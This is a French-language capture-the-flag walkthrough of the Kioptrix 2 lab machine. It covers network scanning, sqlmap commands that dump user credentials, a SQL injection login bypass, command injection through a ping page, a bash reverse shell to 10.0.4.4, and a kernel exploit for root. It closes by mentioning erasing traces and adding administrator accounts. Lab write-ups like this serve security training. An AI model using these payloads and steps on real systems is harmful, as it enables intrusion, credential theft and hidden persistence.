Rajoul@home:~##

Kioptrix_2

1-reconnaissance

La première phase consiste à decouvrir l’adresse ip de notre machine.Étant donné que j’utilise un réseau privé sur un hôte Linux distant, j’ai choisi de vérifier les paramètres réseau sur le système Kali afin de déterminer l’adresse IP et le masque de sous-réseau du réseau privé. De plus, j’ai créé un répertoire ensiie 1 dans le répertoire personnel de root, sur le système Kali, pour capturer et stocker des fichiers.

Avec l’adresse IP et le masque de sous-réseau du système Kali obtenus,je peux decouvrir l’adresse de ma machine qui est dans cette plage d’adresse:10.0.4.0/24

Les paramètres utilisés pour Nmap effectueront une analyse sur les ports ouverts,les services qui s’éxécutent sur chaque port et leur versions,tout ces informations sont stockés dans un fichier scan.nmap

En examinant les résultats de l’analyse Nmap, les ports TCP 80 et 443 utilisent Apache Server version 2.0.52. De plus, le port TCP 22 utilise Open SSH version 3.9p1, le port TCP 631 utilise CUPS 1.1 et le port TCP 3306 utilise MySQL (version inconnue pour le moment).

2-Scan de vulnérabilities

Pour examiner de plus près les ports TCP 80, j’ai lancé Nitko avec les paramètres d’hôte, de port et de fichier de sortie.

il ne semble pas y avoir d’exploitation pour un shell distant.mais Nikto nous informe que la requete HTTP contient des spécifiques QUERY STRING.donc On va essayer avec SQLMAP pour trouver la base de donnée. tout d’abord on intercepte la requête via burp suite.

ensuite on récupère toutes les informations sur la requête et les enregistrés dans un fichier burp.txt.et enfin lancer sqlmap.>sqlmap -r burp.txt –dbs

ensuite on récupère les tables du database webapp.>sqlmap -r burp.txt -D webapp –tables

enfin récupèrer les comptes utilisateur.>sqlmap -r burp.txt -D webapp -T users –dump

On a réussi à trouver deux comptes utilisateurs et leurs mots de pass.

3-Exploitation
3.1 SQL injection:

Une fois la collecte d’informations initiale terminée, j’ai décidé d’explorer le serveur Apache en me connectant au site Web via un navigateur Web.

Une fois connecté au site Web, j’ai supposé que les informations de connexion étaient authentifiées sur une base de données MySQL. Cette hypothèse était basée sur le port 3306 découvrant le port initial de l’analyse Nmap. J’ai donc entré dans la commande rajoul’ OR 1=1 # dans le champ Nom d’utilisateur et clicker le LOGIN button

Succès! L’injection SQL a pu se connecter en tant que premier compte de la table. Sur la base de la connexion réussie, une page d’utilitaire Ping s’est affichée.

Alors,on va essayer de concatener la commande ping avec une autre commande ,afin de savoir si notre champs nous permet d’envoyer un reverse shell.

Succès,on a réussi à lire le fichier /etc/passwd.donc on va essayer d’anvoyer un reverse shell vers ma machine avec la commande nc

je met mon interface en mode écoute pour un reverse shell,et rien n’est passé.Donc la commande netcat peut etre n’est pas installé,donc il faut essayer avec une autre méthode.bash -i >& /dev/tcp/10.0.4.4/1234 0>&1 est une commande qui permet de nous envoyer un reverse shell.

comme avec l’utilitaire Ping, nous sommes connectés au compte apache,mais on n’a pas le droit de se connecter au shell.

3.2 Escalation de privilèges

continuant avec le shell inversé, je devais rassembler des informations supplémentaires sur le système.

Génial! Maintenant que nous savons que le système d’exploitation était CentOS version 2.6.9–55.
Ensuite, j’ai examiné la base de données searchsploit installée sur le système Kali local pour déterminer s’il existait une vulnérabilité de CentOS de la version 2.6.9–55 du noyau.

alors on a trouvé un script en C qui exploite cette vulnérabilité de centos.alors je copie le script dans mon répertoire de travail pour l’éxécuter sur la machine cible.

je lance mon serveur sur mon espace de travail pour transmettre le fichier vers la machine cible

mon exploit est bien recu,donc je le compile avec gcc,aprés je l’éxécute.

une immense satisfaction,j’ai réussi à gagné l’accés administrateur.donc je peux aller récupérer le FLAG.

une fois on a gagné l’accés administrateur,je peux supprimer mes traces, modifier dans le fichier /etc/shadow en ajoutant de nouveaux administrateurs,supprimer des comptes et aussi stopper l’éxécution des services….Donc, j’ai le pouvoir absolu de faire ce que je veux.

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